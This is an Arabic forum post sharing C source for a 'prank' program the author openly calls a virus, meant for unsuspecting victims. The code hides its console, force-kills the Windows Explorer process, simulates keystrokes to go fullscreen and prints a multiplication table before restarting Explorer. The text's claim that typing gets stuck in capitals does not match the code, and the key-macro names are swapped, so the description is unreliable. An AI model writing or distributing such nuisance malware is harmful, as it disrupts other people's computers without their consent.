
إن الحمد لله نحمده ونستعينه ونستغفره ونعوذ بالله من شرور أنفسنا و سيئات أعمالنا ،
من يهده الله فلا مضل له ، و من يضلل فلا هادي له ، وأشهد أن لا إله إلا الله
وحده لا شريك له و أشهد أن محمدا عبده ورسوله صلى الله عليه وسلم.
أما بعد ، فتحية طيبة لكل أعضاء وزوار منتدى الفريق العربي ...
اليوم أقدم لكم هذا المقلب الصغير الذي برمجته بلغة السي ، و مما لا شك فيه أن أصحاب
القلوب الضعيفة و الألياف العصبية السريعة التوتر سوف لن يحبوا هذا المقلب ،
لأنه مضر بصحتهم
هههههههههه ...
1 - مبدأ عمل البرنامج :
بالنسبة لفكرة البرنامج فلقد استعملت دالة لقنص أحداث لوحة المفاتيح و إليكم
بعض الشرح لهذه الدالة :
void keybd_event(BYTE bVirtKey, BYTE bScanCode, DWORD dwFlags, DWORD dwExtraInfo);
bScanCode : بالنسبة لي أعطيه القيمة صفر ...
لأنه أساس إيجاد
dwFlags : متغير من نوع DWORD ، لن أتكلم عنه
حل للمهزلة التي سيرتكبها المقلب هههههههه ...
dwExtraInfo : بالنسبة لي أعطيه القيمة صفر ... لأنني لا أعرف دوره بالتحديد ...


و إليكم ماذا سيحدث لمن سولت له نفسه الضغط على الدواسة لتشغيل الفايروس
- ستصبح الكتابة مرهونة بالأحرف الكبيرة ، مما يشكل ازعاجا دائما للمستخدم

![]()


إليكم السورس + نسيت أن أذكر لكم أن الفيروس لديه جانب تعليمي
، فهو يعلم المستخدم حفظ جدول الضرب ![]()
#include <stdio.h>
#include <windows.h>
#include <stdlib.h>
#define PressEnter keybd_event(VK_MENU,0x38,0,0)
#define PressAlt keybd_event(VK_RETURN,0x1C,0,0)
#define ENTER_UP keybd_event(VK_MENU,0x38,VK_UP,0)
#define ALT_UP keybd_event(VK_RETURN,0x1C,VK_UP,0)
#define PressShift keybd_event(VK_SHIFT,0,0,0)
void KillingExplorerNow() __attribute__ ((constructor));
void RuningExplorerNow() __attribute__ ((destructor));
void SetFullScreenMode();
void LearnMoreAboutMultiplication();
void KillingExplorerNow()
{
HWND hconsole;
system("title kill");
hconsole = FindWindow(NULL,"kill");
ShowWindow(hconsole,FALSE);
system("taskkill /f /im explorer.exe");
system("cls");
}
void RuningExplorerNow()
{
PressShift;
system("start explorer.exe");
}
void SetFullScreenMode()
{
Sleep(3000);
PressEnter,PressAlt;
ENTER_UP,ALT_UP;
LearnMoreAboutMultiplication();
}
int main()
{
SetFullScreenMode();
system("pause");
return 0;
}
void LearnMoreAboutMultiplication()
{
int x,z;
printf("\n\n\tLearn More About Multiplication Table :)\n\n");
for(x=1;x<=20;x++)
{
for(z=1;z<=10;z++)
{
printf(" %d ",x*z);
}
printf("\n\n");
}
}إليكم صور الكارثة ،،،
